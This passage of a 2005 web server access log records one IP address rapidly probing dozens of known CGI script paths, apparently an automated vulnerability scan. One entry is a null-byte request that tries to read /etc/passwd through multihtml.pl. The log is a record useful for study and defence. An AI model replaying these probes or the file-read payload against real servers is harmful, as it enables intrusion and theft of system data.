[17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/visitor.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/ppdscgi.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/edit.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/htmldocs HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/log HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/ppdscgi.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/pfdispaly.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:24 -0400] "HEAD /cgi-bin/multihtml.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/multihtml.pl?multi=/etc/passwd%00html HTTP/1.1" 500 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /ddrint/bin/ddicgi.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /siteman000510/siteman.php3 HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/mailview.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/mailform.exe HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/mlog.phtml HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/mlog.shtml HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/mlog.htm HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/LWGate HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/icat.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:25 -0400] "HEAD /cgi-bin/lister HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/LWGate.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/LWGate.pl HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/logs HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/post_query.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/logs.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/environ.cgi HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/faxsurvey HTTP/1.1" 404 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:34:26 -0400] "HEAD /cgi-bin/filema